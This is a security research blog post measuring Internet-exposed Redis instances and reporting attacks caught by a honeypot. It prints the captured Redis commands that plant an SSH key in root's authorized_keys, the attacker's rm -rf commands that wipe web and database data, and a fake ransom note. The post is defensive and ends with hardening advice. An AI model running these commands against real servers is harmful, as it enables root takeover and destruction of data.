Redis is a popular open source key/value data store that makes access to data fast. To do this, Redis keeps a copy of data in memory to provide speed and on disk (this is important) to prevent data from being lost if Redis is restarted.
Companies use Redis to store and retrieve data quickly and easily. Redis is intended to be used in trusted environments, and so it ships with a permissive security configuration, which is fine, unless you just put it on the Internet. That said, one of the fundamental laws of the Internet of Things is that if it can talk on a network, someone will put on the Internet.
The issue is that we see many devices running Redis that are exposed to the Internet, which goes against the recommendations made by the Redis developers. Exposing Redis directly to the Internet allows attackers to view/modify the stored data. Even more importantly, attackers are able to remotely configure the Redis instance which, as we’ll see in this post, can lead to a complete compromise of the device.
Summary of Findings
Duo Labs set out to measure how many Redis instances were exposed to the Internet and potentially vulnerable to attacks. Here is a brief summary of our findings:
- There are over 18k Redis instances exposed to the Internet, a vast majority of which are running an out-of-date version of Redis
- We found automated attacks scanning the Internet trying to compromise devices running Redis with fake ransomware
- Evidence of these attacks was found on 13k (72%) of the hosts running Redis, indicating that the hosts could be compromised
- After setting up a honeypot to catch attackers, we recorded an attempted attack in just hours
Before discussing these findings in depth, let's first talk a bit about Redis and its security model.
A Little About Redis
Redis stores data in key/value pairs. Clients connect to a Redis instance and issue commands to get/set data (
SET), retrieve system statistics (
INFO), or even make configuration changes (
The fact that configuration changes can be made remotely immediately raises red flags when it comes to security risks, leading us to wonder about Redis' security model. The Redis developers outline their views on Redis security here, saying:
Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the Internet...
If Redis instances are exposed directly to the Internet, a malicious hacker could view and modify the stored data. They could also remotely configure the instance, leading to the complete compromise of the device. With this in mind, let's see how many instances of Redis don't follow these rules and are openly available on the Internet.
Finding Redis on the Internet
To find Redis instances available on the Internet, we leveraged the Shodan API, giving us about 18k valid results with the following version distribution:
This shows that a vast majority of Redis instances are not using version 3.2.0 - the latest stable version released in May 2016.
We then sampled the hosts to get a picture of what kind of keys are being stored.
The Curious Case of "crackit"
As we were sampling the data, we began to see a few keys that appeared on most of the hosts:
The key called "crackit" was found on most of the hosts and contained a public SSH key as the associated value. This led us to this post by the author of Redis describing the Redis security model and showing how an attacker could take over a host running Redis.
In a nutshell, this attack is performed by:
- Sending a
CONFIGcommand telling Redis to store key/values on disk in the “/root/.ssh/authorized_keys” file
- Setting a key/value pair with the value being a public SSH key
- The attacker can now log into the Redis instance via SSH as the root user
Setting Up the Honeypot
In order to figure out what attackers are doing to compromise Redis instances, we deployed a honeypot that would catch attackers red handed.
The honeypot exposes a vulnerable instance of Redis to the Internet. Then, we set up a modified instance of the cowrie honeypot to only listen for SSH connections using key-based authentication.
What Are Attackers Doing?
Just hours after we stood up the honeypot, we recorded an attack that attempted to store an SSH key for email@example.com. Here are the commands executed against Redis:
|flushall||Deletes all keys stored in Redis|
|set crackit ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAA ABAQC6HyEUZtaiLH14RcYqlDFYFfEg0ad5QCdMk6DK HDx8nD0jAxX0xV/NeAGLz3IFFSYV87dpFn74aTs6F9Z7 gXfh+q76q4C9QPYRJkkTY2/7UUXhGRCuqzWYo7SNRV wUJZWcsLx34RG5de3LbZj5Q+IV4v4E0KuKNxF/0AL5h UEZEUW13EnIOFP1yllvGMrxJDFmsgLWt0idjfQMZXH5 iz1r/wQg73yBRY638C0ktHLsVnE71c3z/mOV2mGPZRZl7 y1CykS0n4gY4P5KwC8wZ24xRUAenOY+6JxczoduAtIseh 7HNWZ2EWG78myt8imQt6E3DCdpv7rxSxc9Qo3nnWEx firstname.lastname@example.org||Puts the attacker’s public key into the database under the name “crackit” (though the name doesn’t matter, just so long as the key is in there somewhere)|
|config set dir /root/.ssh/||Sets the on-disk copy of the database to the root user’s .ssh directory|
|config set db filename authorized_keys||Renames the database to authorized_keys, so that the ssh server will search the database when the attacker connects. When the server matches the incoming connection with the key the attacker stored, it’ll let them in as the root user.|
Shortly after the initial Redis attack occurred, our SSH honeypot caught the attacker logging into the system and performing the following commands:
rm -rf /var/www/ rm -rf /usr/share/nginx rm -rf /var/lib/mysql/ rm -rf /data/ echo "Hi, please view: http://termbin.com/um7t for further information in regards to your files" > /root/READ_TO_DECRYPT echo "Hi, please view: http://termbin.com/um7t for further information in regards to your file!" > /etc/motd
The attacker tries to delete significant amounts of data on the host and leaves a note pointing to a URL. The contents of the URL contained a ransom note:
*** YOUR PERSONAL FILES HAVE BEEN ENCRYPTED! *** The files on this computer have been encrypted using an RSA algorithm. To decrypt the files, you need a private key that we have. To obtain this private key which will allow you to decrypt files, you must pay 2 BITCOINS to the address: 14vYsuLnnZRTar8jazbK5eSFnB1FkWMUo1 After you have made payment, e-mail email@example.com with auth code: "AKdfgKuRegLo43" and will automatically check wallet, if payment exists it will automatically reply with e-mail containing instructions on how to decrypt files along with key! At this e-mail, you can also communicate with our support but if you are not prepared to pay we will not answer message! Our system is setup in a such a way that we cannot even decrypt files without payment sent to address! YOUR FILES WILL NOT BE ON YOUR SERVER, THEY WERE ENCRYPTED AND THEN SENT TO A SERVER WE CONTROL. THE INSTRUCTIONS WILL LET YOU RETRIEVE YOUR FILES FROM AN FTP SERVER WE CONTROL. You can buy BTC on these sites: http://okcoin.com http://coinbase.com http://localbitcoins.com and many more! *** YOUR PERSONAL FILES HAVE BEEN ENCRYPTED! ***
The note suggests that files have been encrypted and sent to a remote server, but we saw no indications of this happening. This attack looks to rely on fear to try and get people to pay for files that no longer exist.
During the month we operated our honeypot, we observed similar attacks from 15 unique IP addresses.
How to Protect Redis
The simplest way to prevent attackers from compromising Redis instances is to avoid exposing them to the Internet. However, if you must have Redis externally exposed, there are a few things you can do to lock it down:
Set up an
AUTHpassword - Users can configure a password that is required for all connections to the Redis instance. When setting this up, ensure the password is complex, since attackers can easily brute force shorter passwords.
Rename or Disable the
CONFIGcommand - It is possible to rename the
CONFIGcommand to something unguessable or disable it altogether. If the command isn’t needed, we highly recommend disabling it.
Finally, like any software exposed to the Internet, it is critical to keep Redis up to date. Version 3.2.0 of Redis added a feature called protected mode. This mode prevents Redis instances from being accidentally deployed with an insecure configuration (binding to all interfaces with no password), which can help prevent a compromise from occurring.